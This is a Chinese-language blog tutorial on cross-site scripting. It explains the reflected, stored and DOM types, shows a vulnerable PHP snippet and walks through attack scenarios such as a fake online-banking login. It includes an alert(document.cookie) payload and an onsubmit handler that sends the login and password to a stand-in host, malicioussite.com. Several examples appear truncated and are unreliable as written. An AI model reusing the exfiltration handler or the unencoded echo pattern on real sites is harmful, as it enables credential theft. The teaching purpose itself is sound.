跳到主要內容

跨網站腳本攻擊 (Cross-Site Scripting,XSS)

  • 對象: 瀏覽者/程式設計師/資訊安全人員
  • 難易度: ★★★☆☆
  • 技術新舊:
  • 閱讀所需時間:

預備知識

  • 熟悉HTML、javascript和PHP語法

本文

  跨網站入侵字串(或稱跨站腳本攻擊)為一種HTML注入(HTML Injection)攻擊,是相當常見且具威脅性的網頁應用程式安全問題。跨網站入侵字串通常發生在網頁應用程式讀取來自使用者的資料時,沒有對這些資料 做驗證(validate)或是編碼(encode),就將資料傳送給用戶端的Web瀏覽器。攻擊者可以利用跨網站入侵字串漏洞,在受害者的瀏覽器執行腳 本(script),攔截使用者的sessions、破壞網站、插入惡意的內容、進行釣魚攻擊、甚至利用腳本惡意軟體(scripting malware)控制受害者的瀏覽器。惡意的腳本通常是JavaScript,但只要是受害者的瀏覽器支援的腳本語言都是此類型攻擊的潛在目標。
  目前已知有三種類型的跨網站入侵字串:反射(reflected) 、儲存(stored) 、及文件物件模型(Document Object Model,DOM)注入。

反射型的跨網站入侵字串

  反射型的跨網站入侵字串是最容易達成的攻擊;只要網頁程式直接呈現使用者提供的資料,攻擊者便有機可趁。假設有一個T網站的網頁內容如下:
$month=$_GET['month']; $year=$_GET['year'];
$day=$_GET['day'];
echo "\"day.php?year=$year&"
echo "month=$month&day=$day\">";
因為month、year、day是來自使用者輸入的資料,而且沒有經過檢查或是消毒,就直接被安插在傳給用戶端的網頁上,所以此網站會有反射型跨網站入侵字串的漏洞。   攻擊者發現T網站有反射型跨網站入侵字串的漏洞時,會試著透過電子郵件或網頁廣告等媒介散佈具有攻擊腳本的連結網址,舉例如下:
http://www.target.com/event_delete.php?year=>
一旦有受害者不小心點選了這個網址,其瀏覽器便會執行下面的內容:
<a href= "day.php?year=>
 
就會導致跨網站的入侵字串攻擊。   受害者一旦點了這個超連結,其瀏覽器就會送出HTTP 請求給這個網站來取得這個網頁。受害者的瀏覽器就會開始分析welcome.html中的程式碼。因為程式碼中有使用到document這個物件,其屬性 是URL,瀏覽器就會開始去讀取網址列上URL的內容,正常的部份分析完後,就會去執行後面具有惡意的JavaScript:
<script>alert(document.cookie)script>

攻擊情境

惡意腳本的連結
在這種情況下,攻擊者發出了一個特製的電子郵件發送到受害者連結含有惡意腳本,如下所示:
malicious code>Click here
當不知情的使用者點擊此鏈接,網址發送到legitimateSite.com包括惡意代碼。如果合法的服務器發送一個網頁回到使用者包含clientprofile值,惡意代碼將被執行在客戶端上的Web瀏覽器如下圖所示。
attacker_via_email.jpg
竊取使用者的cookies
如果網站有使用cookie,那麼它可能會竊取他們使用者的cookies。在這種情況下,攻擊者的網站內容含有惡意腳本是脆弱的。當網頁顯示執行該惡意 腳本,收集用戶的Cookie,並發出了一個請求攻擊者的網站的Cookie的收集。使用這種技術,攻擊者可以獲取敏感數據,如密碼,信用卡號碼,以及任 意用戶輸入的信息如下圖所示。 stealing_users_cookies.jpg


XSS攻擊的危害

1.盜取各類用戶帳號,如主機登錄帳號、使用者帳號、各類管理員帳號
2.控制企業資料,包括讀取、篡改、新增、刪除企業敏感性資料的能力
3.竊取企業重要的具有商業價值的資料
4.非法轉帳
5.強制發送電子郵件
6.網站掛馬
7.控制受害者主機,並向其它網站發起攻擊

常見的攻擊

一、網路銀行系統的弊端
  假設一個攻擊者試圖竊取虛擬的網路銀行網站(www.simplebank.com)上的一個用戶信息。要想登錄這個網站,攻擊者首先要輸入一個測試用戶身份 (「test」) 和密碼 (「test」)。當錯誤信息頁面出現,告知用戶身份和密碼組合錯誤時,這個攻擊者就找到了一個向網頁頁面中插入惡意代碼的理想時機。

  • 攻擊者首先將下面的信息輸入欄位:
  • 然後提交表單並看到這個JavaScript警告信息:」TO BE DONE.」,現在攻擊者知道這個網站容易受XSS類型的攻擊。
  • 接下來攻擊者會將類似於下方的腳本引入到URL中,這個URL將把所提交的用戶信息重定向到malicioussite.com。該代碼通常會將任何登錄到此網頁 網站的用戶的帳戶及密碼信息傳遞到攻擊者的網頁網站。
action="logoninformation.jsp" method="post" onsubmit="hackImg=new Image; hackImg.src='http://www.malicioussite.com/'+document.forms(1).login.value'+':'+ document.forms(1).password.value;"


  • 竊取用戶帳戶和密碼的腳本完成後,攻擊者就通過這個連結導向網路銀行網站的用戶發送具有誘惑的優惠信息的電子郵件。
  • 受到這些誘人的優惠信息的引誘,用戶有可能會點擊惡意連結並登錄到網路銀行網站。於是瀏覽器會執行攻擊者引入的惡意代碼,數據將被傳遞到攻擊者的網站。這樣攻擊者就輕而易舉地利用了受害者的憑證登錄到網路銀行網站。
這種情況常常發生在:

  1. 網頁服務器沒有採取充分的步驟,確保生成適當編碼的頁面。
  2. 沒有正確驗證輸入。

二、論壇網站和留言板佈告欄
  網頁上最常受攻擊就是搜索框和論壇網站。攻擊者會在腳本標記間插入惡意代碼,而網頁頁面會加以接受和解釋,根據所使用的頁面,採用的可能是FORM,也可能是APPLET標記。所插入的惡意代碼可以通過竊取會話信息或cookie進行各種破壞。
  由於網頁設計人員很難同時具備應對攻擊的多種語言和技術知識,所以這種漏洞很普遍。很多語言(CGI、JavaScript、ASP、Perl,甚至HTML標記)都很容易被這些攻擊利用。

三、附加到訊息和電子郵件的惡意連結
  攻擊者可以將有關於網路銀行網站的電子郵件發給用戶。假設電子郵件包含一個URL中嵌入了惡意代碼的連結。用戶可能會被提示點擊此惡意連結並登錄到該網站,攻擊者會借此獲得用戶的登錄信息。
  對於此連結內含有惡意代碼的動態生成頁面,我們以作為頁面的一部分的為例。
http://www.test.com/action.pl?param=

  如果攻擊者通過應用程序顯示一組HTML,這有可能就會帶來麻煩。IMG和IFRAME標記都允許在HTML顯示時加載新的URL。

四、搜索引擎
  回應搜索關鍵字的搜索引擎也容易遭受這類攻擊。因為惡意代碼可作為搜索關鍵字的一部分。因此,用戶提交搜索時,就會執行惡意的搜索關鍵字。這種危險包括訪問網站不願意被訪問或隱私的區域。
  例如,如下所示的代碼片斷在目標電腦上執行代碼。而攻擊者正是以這種方式插入HTML。

留言

這個網誌中的熱門文章

17分鐘波段策略

使用中 觀察中 待修正 TXF_17min_1 TXF_17min_2 TXF_17min_3 TXF_17min_4 TXF_17min_5 TXF_17min_6 TXF_17min_7 TXF_17min_8 TXF_17min_9 TXF_17min_10 * TXF_17min_11 TXF_17min_12 TXF_17min_13 TXF_17min_14 * TXF_17min_15